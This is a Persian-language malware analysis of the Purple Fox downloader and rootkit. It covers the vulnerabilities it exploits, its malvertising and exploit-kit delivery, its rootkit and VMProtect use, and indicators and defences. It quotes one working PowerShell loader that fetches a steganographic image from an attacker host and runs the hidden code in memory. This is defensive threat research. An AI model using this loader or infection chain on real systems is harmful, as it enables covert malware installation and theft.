Purple Fox، بدافزاری است که خود در نقش دریافتکننده بدافزارهای دیگر عمل میکند.
در دو سال اخیر روشهای حمله و سازوکارهای انتشار Purple Fox بهطور مستمر در حال تکامل بوده است.
اولین بار در مهر 1397، شرکت چیهو ۳۶۰ در مقالهای انتشار این بدافزار را گزارش کرد.
در شهریور 1398، محققان شرکت ترند مایکرو خبر دادند که گردانندگان Purple Fox بجای استفاده از Nullsoft Scriptable Install System – به اختصار NSIS – در فرایند اجرای این بدافزار، به بهرهگیری از پروسه معتبر PowerShell روی آوردهاند. با این تکنیک (استفاده از یک پروسه معتبر سیستم عامل بجای فایلهای مخرب)، Purple Fox به جمع بدافزارهای بدون فایل (Fileless) پیوست.
تا آن زمان همچنان Purple Fox از طریق بسته بهرهجوی (Exploit Kit) معروف RIG و سوءاستفاده از آسیبپذیریهای زیر منتشر میشد:
- CVE-2014-6332 و CVE-2018-8174 در بخش VBScript Engine مرورگر Internet Explorer
- CVE-2018-15982 در نرمافزار Flash Player
- CVE-2015-1701 و CVE-2018-8120 در سیستم عامل Windows
در تیر 1399، شرکت پروفپوینت گزارش کرد که CVE-2020-0674 (در مرورگر Internet Explorer) و CVE-2019-1458 (در سیستم عامل Windows) نیز به فهرست آسیبپذیریهای مورد بهرهجویی Purple Fox افزوده شده است.
شرکت سنتینلوان هم در 28 مهر 1399 اعلام کرد که Purple Fox مجهزتر از قبل قادر به بهرهجویی از دو آسیبپذیری دیگر در سیستم عامل Windows با شناسههای CVE-2020-1054 و CVE-2019-0808 شده است.
توانایی سوءاستفاده از این تعداد بالا از آسیبپذیریها سبب شده که بسیاری از شرکت های امنیتی Purple Fox را خود یک بسته بهرهجو قلمداد کرده و از آن با عنوان Purple Fox EK یاد کنند.
در ماههای اخیر گزارشهایی مبنی بر مشاهده بدافزار Purple Fox بر روی سیستمهای برخی از مؤسسات ایرانی به شرکت مهندسی شبکه گستر واصل شده است.
در ادامه این مطلب روش انتشار و برخی قابلیتهای این بدافزار مخرب مورد بررسی و تحلیل قرار گرفته است.
هدف اصلی Purple Fox دریافت و توزیع بدافزارهای دیگر نظیر اسبهای تروا، جاسوسافزارها، باجافزارها و استخراجکنندگان ارز رمز (Cryptominer) بر روی دستگاه قربانی است. Purple Fox در فرایند دریافت و نصب بدافزارهای دیگر از پروسه معتبر PowerShell بهره میگیرد.
Purple Fox از طریق سایتهای حاوی بهرهجو به دستگاه قربانی راه پیدا میکند. تبلیغات مخرب (Malvertising) و ایمیلهای فیشینگ از اصلیترین تکنیکهای گردانندگان Purple Fox برای هدایت کاربر به این سایتها محسوب میشوند. برای مثال تصویر زیر کد تبلیغ مخربی موسوم به Popcash را نمایش میدهد که کاربر را به سوی یک سایت حاوی بهرهجوی CVE-2020-0674 هدایت میکند.
حداقل در نسخ جدید صفحات به اصطلاح فرود (Landing Page) این بدافزار به شدت رمزگذاری شده اند.
بهمحض باز شدن هر یک از این سایتها بر روی دستگاه آسیبپذیر، بدون هر گونه دخالت و اطلاع کاربر، فرایند آلودگی دستگاه به Purple Fox آغاز میشود.
در یکی از نمونهها، بهرهجو، پروسه mshta.exe را به همراه یک کد مخرب مبتنی VBScript اجرا میکند که در نتیجه آن پروسه PowerShell نیز فراخوانی میشود. در ادامه PowerShell کد مرحله بعد را دریافت و آن را در حافظه اجرا میکند.
Purple Fox سطح دسترسی کاربر جاری را بر روی دستگاه مورد بررسی قرار میدهد. در صورت فراهم بودن دسترسی Administrator، یک بسته MSI از طریق سایت مهاجمان نصب میشود. در غیر این صورت بهرهجویی از آن دسته از آسیبپذیریهای موجود در فهرست خود را که از نوع ضعفهای “ترفیع امتیازی” (Privilege Escalation) محسوب میشوند در دستور کار قرار میدهد.
نکته قابلتوجه در خصوص نسخ جدید Purple Fox این که برخی کدهای مخرب دریافت شده توسط آن، فایلهایی تصویری هستند که با بکارگیری تکنیک پنهاننگاری (Steganography)، کدهای دودویی (Binaries) در آنها جاسازی شده است. نمونهای از این تصاویر در زیر قابل مشاهده است:
کد مخرب از تصویر مذکور با استفاده از کدهای زیر استخراج میشود:
$uyxQcl8XomEdJUJd='sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http[:]//rawcdn[.]githack[.]cyou/up.php?key=3"));$o=a Byte[] 589824;(0..575)|%{foreach($x in(0..1023)){$p=$g.GetPixel($x,$_);$o[$_*1024+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..589362]))' IEX ($uyxQcl8XomEdJUJd)
لازم به ذکر است که تمامی اسکریپتهای مورد استفاده Purple Fox وجود کلیدی با عنوان “StayOnTop” را در مسیر HKCU\Software\7-Zip در محضرخانه (Regsitry) مورد بررسی قرار میدهند. احتمالاً هدف از این اقدام تشخیص اجرای موفق کد مخرب بر روی دستگاه است. بنابراین وجود چنین کلیدی میتواند نشانهای از آلوده بودن دستگاه به Purple Fox باشد.
از جمله ویژگیهایی که Purple Fox را به یک بدافزار بسیار خطرناک تبدیل میکند عملکرد روتکیت (Rootkit) آن است. Purple Fox از تابع MsiInstallProductA بهمنظور دریافت و اجرای یک فایل msi که حاوی یک کد شل (Shell Code) رمزگذاری شده است استفاده میکند. بهمحض اجرا، دستگاه راهاندازی مجدد (Restart) میشود. Purple Fox کلید محضرخانهای PendingFileRenameOperations را برای تغییر نام فایلهای خود پس از راهاندازی مجدد مورد استفاده قرار میدهد.
همچنین با ایجاد یک پروسه svchost با وضعیت معلقشده (Suspended) و تزریق یک DLL، یک راهانداز (Driver) با قابلیت روتکیتی را ایجاد میکند. این راهانداز از دو فایل زیر تشکیل شده است:
- system%\drivers\dump_{random hex strings}.sys% که مسئول اجرای قابلت روتکیتی آن است.
- system%\Ms{random hex}App.dll% که بخش اصلی روتکیت در قالب یک DLL است.
با تکمیل پروسه نصب روتکیت، فایلها و مسیرهای محضرخانهای مرتبط با بدافزار از دید کاربر و محصولات امنیتی مخفی شده و صرفاً با استفاده از ابزارهای خاص قابل شناسایی و تشخیص خواهند بود.
به نظر میرسد که قابلیت روتکیتی Purple Fox بر اساس ابزار کد باز (Open Source) زیر توسعه داده شده است:
https://github.com/JKornev/hidden
نمونه روتکیتهای Purple Fox که توسط کارشناسان شرکت مهندسی شبکه گستر بر روی برخی دستگاههای متعلق به شرکتهای ایرانی کشف شده با نامهای زیر قابل شناسایی است:
Bitdefender:
Trojan.GenericKD.43279379
McAfee:
RDN/Generic.dx
Artemis!BC26145F6316
Sophos:
Mal/VMProtBad-A
نکته حائز اهمیت دیگر در مورد بدافزار Purple Fox، استفاده نویسندگان آن از VMProtect برای مبهمسازی (Obfuscation) و دشوار ساختن تحلیل فایلهای مخرب برای مهندسان ویروس و ابزارهای امنیتی است. VMProtect ابزاری است که موجب اجرای کد در یک ماشین مجازی با معماری غیرمعمول میشود.
اطمینان از نصب کامل اصلاحیههای امنیتی، بکارگیری محصولات امنیت نقاط پایانی قدرتمند در کنار آموزش کاربران در پرهیز از کلیک بر روی لینکهای ناآشنا همگی در کنار یکدیگر میتوانند سازمان را از گزند این نوع تهدیدات مخرب حفظ کنند.